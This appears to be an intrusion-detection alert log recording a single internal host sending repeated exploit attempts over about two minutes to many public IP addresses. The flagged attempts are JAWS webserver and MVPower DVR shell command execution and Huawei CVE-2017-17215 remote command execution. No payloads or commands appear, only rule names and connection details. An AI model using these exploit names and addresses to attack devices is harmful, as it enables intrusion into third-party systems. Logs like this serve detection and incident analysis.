03/13/24-09:36:20.216388	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36730	80	192.168.2.15	23.33.17.143
03/13/24-09:36:49.121915	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38548	80	192.168.2.15	5.35.247.132
03/13/24-09:36:45.854366	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40268	80	192.168.2.15	23.59.5.160
03/13/24-09:36:12.499031	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60620	37215	192.168.2.15	156.224.11.234
03/13/24-09:36:45.747749	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35558	80	192.168.2.15	23.37.0.24
03/13/24-09:35:23.500338	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44050	80	192.168.2.15	155.4.113.220
03/13/24-09:35:03.334952	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45886	80	192.168.2.15	104.105.93.19
03/13/24-09:36:26.438397	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46812	80	192.168.2.15	204.210.116.62
03/13/24-09:36:06.249707	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46420	80	192.168.2.15	104.107.159.225
03/13/24-09:36:48.974370	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58350	80	192.168.2.15	52.9.249.33
03/13/24-09:36:13.119447	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50300	80	192.168.2.15	104.106.77.5
03/13/24-09:36:17.093797	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49644	80	192.168.2.15	66.161.168.153
03/13/24-09:35:58.225126	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39550	80	192.168.2.15	95.55.211.177
03/13/24-09:36:12.813979	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34986	80	192.168.2.15	71.132.45.65
03/13/24-09:35:04.174452	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54828	80	192.168.2.15	35.73.74.28
03/13/24-09:35:41.314483	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56028	80	192.168.2.15	18.229.108.40
03/13/24-09:36:29.194231	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46110	80	192.168.2.15	183.89.41.96
03/13/24-09:36:35.422648	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45612	80	192.168.2.15	154.12.44.58
03/13/24-09:36:42.292485	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48994	80	192.168.2.15	129.13.103.12
03/13/24-09:36:46.072696	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54088	80	192.168.2.15	192.210.166.224
03/13/24-09:36:17.845532	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50276	37215	192.168.2.15	156.254.100.183
03/13/24-09:35:56.112757	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35520	80	192.168.2.15	18.188.91.253
03/13/24-09:36:23.839993	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46598	80	192.168.2.15	23.216.248.188
03/13/24-09:36:42.303924	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52702	80	192.168.2.15	84.33.8.231
03/13/24-09:35:53.060125	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50684	80	192.168.2.15	50.2.159.150
03/13/24-09:35:36.249043	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56064	80	192.168.2.15	154.201.131.98
03/13/24-09:36:16.257152	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33634	80	192.168.2.15	54.179.3.83
03/13/24-09:36:35.422648	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45612	80	192.168.2.15	154.12.44.58
03/13/24-09:35:51.496269	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52678	80	192.168.2.15	202.130.202.115
03/13/24-09:36:07.270309	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37316	80	192.168.2.15	178.60.220.88
03/13/24-09:35:56.112757	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35520	80	192.168.2.15	18.188.91.253
03/13/24-09:36:35.266866	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60646	80	192.168.2.15	109.199.125.205
03/13/24-09:36:51.224437	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48226	80	192.168.2.15	78.128.68.56
03/13/24-09:36:49.111616	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48922	80	192.168.2.15	185.141.189.165
03/13/24-09:36:55.008188	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53162	80	192.168.2.15	176.67.160.184
03/13/24-09:35:58.388854	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46812	80	192.168.2.15	102.23.246.117
03/13/24-09:36:49.121915	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38548	80	192.168.2.15	5.35.247.132
03/13/24-09:35:30.211465	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47576	80	192.168.2.15	217.13.58.188
03/13/24-09:35:49.348563	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49982	80	192.168.2.15	23.14.68.121
03/13/24-09:35:36.512429	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44814	80	192.168.2.15	202.62.220.100
03/13/24-09:35:23.500338	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44050	80	192.168.2.15	155.4.113.220
03/13/24-09:36:06.207197	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50450	80	192.168.2.15	35.156.28.97
03/13/24-09:36:45.854366	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40268	80	192.168.2.15	23.59.5.160
03/13/24-09:36:46.908705	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59814	80	192.168.2.15	23.64.173.172
03/13/24-09:36:24.579485	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57126	80	192.168.2.15	47.100.116.194
03/13/24-09:36:20.216388	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36730	80	192.168.2.15	23.33.17.143
03/13/24-09:35:30.211465	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47576	80	192.168.2.15	217.13.58.188
03/13/24-09:36:29.194231	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46110	80	192.168.2.15	183.89.41.96
03/13/24-09:35:49.348563	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49982	80	192.168.2.15	23.14.68.121
03/13/24-09:35:03.594209	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46008	80	192.168.2.15	182.23.79.157
03/13/24-09:36:12.813979	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34986	80	192.168.2.15	71.132.45.65
03/13/24-09:36:07.118468	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40648	80	192.168.2.15	104.19.52.162
03/13/24-09:35:04.174452	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54828	80	192.168.2.15	35.73.74.28
03/13/24-09:35:58.652675	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59360	80	192.168.2.15	183.110.116.127
03/13/24-09:36:35.217081	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48862	80	192.168.2.15	12.171.196.53
03/13/24-09:36:41.234949	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57064	80	192.168.2.15	104.27.121.82
03/13/24-09:36:38.371326	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55184	80	192.168.2.15	202.57.133.149
03/13/24-09:36:45.952634	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39240	80	192.168.2.15	81.158.178.51
03/13/24-09:35:49.103671	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33974	80	192.168.2.15	72.77.85.222
03/13/24-09:36:06.144557	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53128	80	192.168.2.15	18.160.205.137
03/13/24-09:36:26.438397	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46812	80	192.168.2.15	204.210.116.62
03/13/24-09:36:48.974370	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58350	80	192.168.2.15	52.9.249.33
03/13/24-09:36:49.111616	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48922	80	192.168.2.15	185.141.189.165
03/13/24-09:35:58.388854	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46812	80	192.168.2.15	102.23.246.117
03/13/24-09:36:23.839993	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46598	80	192.168.2.15	23.216.248.188
03/13/24-09:36:46.072696	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54088	80	192.168.2.15	192.210.166.224
03/13/24-09:35:02.898657	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34984	80	192.168.2.15	23.58.104.81
03/13/24-09:36:07.270309	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37316	80	192.168.2.15	178.60.220.88
03/13/24-09:36:13.119447	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50300	80	192.168.2.15	104.106.77.5
03/13/24-09:35:14.766475	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51272	80	192.168.2.15	23.32.127.47
03/13/24-09:36:55.211900	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38334	80	192.168.2.15	193.246.10.125
03/13/24-09:35:56.221083	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42206	80	192.168.2.15	46.36.222.144
03/13/24-09:36:35.280223	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53750	80	192.168.2.15	34.204.240.54
03/13/24-09:35:59.108807	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55166	80	192.168.2.15	162.55.59.59
03/13/24-09:35:49.094091	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47516	80	192.168.2.15	34.226.87.99
03/13/24-09:35:53.323163	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49460	80	192.168.2.15	195.15.235.28
03/13/24-09:35:53.311624	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58836	80	192.168.2.15	45.120.4.35
03/13/24-09:36:49.253004	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56884	80	192.168.2.15	2.11.26.149
03/13/24-09:36:45.747749	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35558	80	192.168.2.15	23.37.0.24
03/13/24-09:35:35.800062	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60096	80	192.168.2.15	178.84.9.227
03/13/24-09:36:07.177679	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49512	80	192.168.2.15	181.210.158.250
03/13/24-09:35:26.295478	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33064	80	192.168.2.15	157.230.127.140
03/13/24-09:35:58.214847	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33776	80	192.168.2.15	65.21.189.68
03/13/24-09:36:21.073169	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60022	80	192.168.2.15	40.85.178.219
03/13/24-09:36:49.163949	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57922	80	192.168.2.15	178.250.247.98
03/13/24-09:35:32.568310	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43424	80	192.168.2.15	52.34.187.205
03/13/24-09:35:35.940035	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44662	80	192.168.2.15	184.27.253.172
03/13/24-09:35:56.201203	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56292	80	192.168.2.15	13.224.102.81
03/13/24-09:36:16.619267	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47620	80	192.168.2.15	196.29.227.165
03/13/24-09:35:38.113798	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51824	80	192.168.2.15	104.168.143.173
03/13/24-09:36:55.128826	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45300	80	192.168.2.15	185.149.120.215
03/13/24-09:35:45.376896	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44316	80	192.168.2.15	212.50.70.217
03/13/24-09:36:48.529638	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34976	80	192.168.2.15	104.76.72.213
03/13/24-09:35:23.591284	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47768	80	192.168.2.15	115.71.19.135
03/13/24-09:36:08.222712	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33084	80	192.168.2.15	176.35.107.71
03/13/24-09:35:33.314943	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38784	80	192.168.2.15	172.105.241.4
03/13/24-09:36:49.509395	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51518	37215	192.168.2.15	156.254.74.45
03/13/24-09:35:49.407555	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34408	80	192.168.2.15	39.61.132.49
03/13/24-09:37:00.229922	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46334	80	192.168.2.15	36.255.67.189
03/13/24-09:36:16.506301	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43164	80	192.168.2.15	220.133.218.57
03/13/24-09:35:45.285454	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39288	80	192.168.2.15	107.10.38.11
03/13/24-09:35:23.478162	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36192	80	192.168.2.15	161.35.186.210
03/13/24-09:35:36.214194	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43030	80	192.168.2.15	46.250.251.167
03/13/24-09:36:14.091389	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59190	80	192.168.2.15	104.196.18.71
03/13/24-09:36:41.146745	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56880	80	192.168.2.15	149.56.176.134
03/13/24-09:35:27.270642	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53960	80	192.168.2.15	156.235.228.92
03/13/24-09:36:46.067999	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36712	80	192.168.2.15	157.230.160.194
03/13/24-09:35:29.011253	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40390	37215	192.168.2.15	41.80.32.93
03/13/24-09:36:13.540168	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41332	80	192.168.2.15	113.20.28.212
03/13/24-09:35:58.188242	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34504	80	192.168.2.15	207.194.62.174
03/13/24-09:36:24.004042	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60816	80	192.168.2.15	93.115.168.99
03/13/24-09:35:36.008345	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35146	80	192.168.2.15	160.99.23.245
03/13/24-09:36:56.114896	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36970	80	192.168.2.15	77.68.24.107
03/13/24-09:36:49.253004	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56884	80	192.168.2.15	2.11.26.149
03/13/24-09:36:41.897929	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46990	80	192.168.2.15	18.164.180.68
03/13/24-09:35:24.709827	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60214	37215	192.168.2.15	156.247.24.116
03/13/24-09:36:41.299401	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43148	80	192.168.2.15	23.213.192.208
03/13/24-09:36:23.862209	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35752	80	192.168.2.15	38.25.44.98
03/13/24-09:35:53.367183	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38884	37215	192.168.2.15	156.254.90.169
03/13/24-09:36:12.612824	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48888	80	192.168.2.15	138.201.139.232
03/13/24-09:35:04.011139	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34890	80	192.168.2.15	34.143.46.47
03/13/24-09:35:59.108807	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55166	80	192.168.2.15	162.55.59.59
03/13/24-09:36:29.045363	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34026	80	192.168.2.15	23.45.219.196
03/13/24-09:36:29.419922	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54234	80	192.168.2.15	179.57.172.65
03/13/24-09:36:32.211904	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52780	80	192.168.2.15	185.59.228.91
03/13/24-09:35:53.323163	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49460	80	192.168.2.15	195.15.235.28
03/13/24-09:35:43.019587	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40526	37215	192.168.2.15	156.241.10.222
03/13/24-09:36:23.995523	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52552	80	192.168.2.15	170.75.210.35
03/13/24-09:36:37.769147	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50160	80	192.168.2.15	47.254.199.123
03/13/24-09:36:48.086498	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58294	80	192.168.2.15	52.9.249.33
03/13/24-09:36:02.781638	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37046	80	192.168.2.15	143.0.180.107
03/13/24-09:36:59.171759	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44636	80	192.168.2.15	172.232.72.5
03/13/24-09:35:35.800062	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60096	80	192.168.2.15	178.84.9.227
03/13/24-09:36:29.045363	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34026	80	192.168.2.15	23.45.219.196
03/13/24-09:36:55.211900	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38334	80	192.168.2.15	193.246.10.125
03/13/24-09:35:26.295478	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33064	80	192.168.2.15	157.230.127.140
03/13/24-09:36:07.177679	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49512	80	192.168.2.15	181.210.158.250
03/13/24-09:35:53.311624	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58836	80	192.168.2.15	45.120.4.35
03/13/24-09:35:14.755935	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37710	80	192.168.2.15	34.197.77.7
03/13/24-09:35:45.285454	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39288	80	192.168.2.15	107.10.38.11
03/13/24-09:35:27.990115	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58730	80	192.168.2.15	23.205.52.170
03/13/24-09:35:56.116603	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43426	80	192.168.2.15	34.128.191.234
03/13/24-09:35:27.298772	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42670	80	192.168.2.15	43.200.198.128
03/13/24-09:36:46.067999	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36712	80	192.168.2.15	157.230.160.194
03/13/24-09:35:33.314943	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38784	80	192.168.2.15	172.105.241.4
03/13/24-09:36:31.580942	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35684	80	192.168.2.15	13.37.125.83
03/13/24-09:36:07.210057	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56222	80	192.168.2.15	18.239.254.46
03/13/24-09:35:37.670179	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33452	37215	192.168.2.15	156.241.14.31
03/13/24-09:35:45.376896	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44316	80	192.168.2.15	212.50.70.217
03/13/24-09:36:17.093797	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49644	80	192.168.2.15	66.161.168.153
03/13/24-09:35:03.334952	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45886	80	192.168.2.15	104.105.93.19
03/13/24-09:36:23.891635	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60504	80	192.168.2.15	187.103.57.101
03/13/24-09:35:49.113408	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35474	80	192.168.2.15	96.66.171.49
03/13/24-09:36:06.249707	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46420	80	192.168.2.15	104.107.159.225
03/13/24-09:35:27.914612	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59838	80	192.168.2.15	59.30.116.40
03/13/24-09:36:55.368756	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37814	80	192.168.2.15	43.254.159.62
03/13/24-09:36:41.897929	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46990	80	192.168.2.15	18.164.180.68
03/13/24-09:36:41.146745	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56880	80	192.168.2.15	149.56.176.134
03/13/24-09:36:16.024057	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43304	80	192.168.2.15	163.123.183.103
03/13/24-09:36:34.122265	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43066	37215	192.168.2.15	156.254.81.143
03/13/24-09:36:16.506301	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43164	80	192.168.2.15	220.133.218.57
03/13/24-09:36:41.299401	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43148	80	192.168.2.15	23.213.192.208
03/13/24-09:35:02.898597	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52734	80	192.168.2.15	184.85.86.34
03/13/24-09:36:13.540168	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41332	80	192.168.2.15	113.20.28.212
03/13/24-09:36:16.001050	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41120	80	192.168.2.15	34.205.241.155
03/13/24-09:35:21.201633	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60148	80	192.168.2.15	47.24.170.124
03/13/24-09:36:02.736961	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33492	80	192.168.2.15	52.18.169.231
03/13/24-09:36:31.480456	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34084	37215	192.168.2.15	156.224.15.81
03/13/24-09:35:53.628334	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44798	80	192.168.2.15	139.59.99.156
03/13/24-09:35:56.201203	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56292	80	192.168.2.15	13.224.102.81
03/13/24-09:36:35.996262	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41810	80	192.168.2.15	42.236.84.158
03/13/24-09:35:38.113798	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51824	80	192.168.2.15	104.168.143.173
03/13/24-09:36:02.781638	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37046	80	192.168.2.15	143.0.180.107
03/13/24-09:36:55.128826	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45300	80	192.168.2.15	185.149.120.215
03/13/24-09:36:26.235282	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35536	80	192.168.2.15	23.38.201.46
03/13/24-09:36:49.200958	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60032	80	192.168.2.15	41.63.160.172
03/13/24-09:35:32.568310	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43424	80	192.168.2.15	52.34.187.205
03/13/24-09:35:58.214847	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33776	80	192.168.2.15	65.21.189.68
03/13/24-09:36:20.286319	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47598	80	192.168.2.15	23.208.190.247
03/13/24-09:36:48.529638	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34976	80	192.168.2.15	104.76.72.213
03/13/24-09:36:51.118898	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49202	80	192.168.2.15	18.161.15.44
03/13/24-09:36:38.267068	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57568	80	192.168.2.15	185.187.46.180
03/13/24-09:36:49.270687	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54420	80	192.168.2.15	78.63.2.0
03/13/24-09:36:07.210057	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56222	80	192.168.2.15	18.239.254.46
03/13/24-09:36:41.681926	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58886	80	192.168.2.15	103.251.200.188
03/13/24-09:36:23.796628	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39148	80	192.168.2.15	66.225.154.222
03/13/24-09:35:27.801845	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45496	80	192.168.2.15	18.154.15.89
03/13/24-09:36:07.119768	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46804	80	192.168.2.15	97.107.136.97
03/13/24-09:36:49.163949	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57922	80	192.168.2.15	178.250.247.98
03/13/24-09:35:23.600278	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43978	80	192.168.2.15	104.76.140.52
03/13/24-09:36:48.086498	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58294	80	192.168.2.15	52.9.249.33
03/13/24-09:35:04.011139	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34890	80	192.168.2.15	34.143.46.47
03/13/24-09:35:27.914612	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59838	80	192.168.2.15	59.30.116.40
03/13/24-09:36:55.037798	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37876	80	192.168.2.15	179.189.243.81
03/13/24-09:36:24.004042	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60816	80	192.168.2.15	93.115.168.99
03/13/24-09:36:31.580942	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35684	80	192.168.2.15	13.37.125.83
03/13/24-09:35:49.094091	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47516	80	192.168.2.15	34.226.87.99
03/13/24-09:35:27.298772	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42670	80	192.168.2.15	43.200.198.128
03/13/24-09:35:48.816222	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52814	80	192.168.2.15	172.104.7.204
03/13/24-09:35:49.113408	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35474	80	192.168.2.15	96.66.171.49
03/13/24-09:36:16.024057	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43304	80	192.168.2.15	163.123.183.103
03/13/24-09:36:24.199428	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60132	80	192.168.2.15	156.17.92.36
03/13/24-09:36:49.214263	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51616	80	192.168.2.15	23.51.138.243
03/13/24-09:36:41.395137	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40854	80	192.168.2.15	154.49.138.200
03/13/24-09:36:56.467952	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33004	80	192.168.2.15	8.140.241.236
03/13/24-09:36:35.996262	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41810	80	192.168.2.15	42.236.84.158
03/13/24-09:36:23.180263	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53386	37215	192.168.2.15	156.241.8.50
03/13/24-09:36:26.104096	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59624	80	192.168.2.15	18.67.28.124
03/13/24-09:36:02.736961	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33492	80	192.168.2.15	52.18.169.231
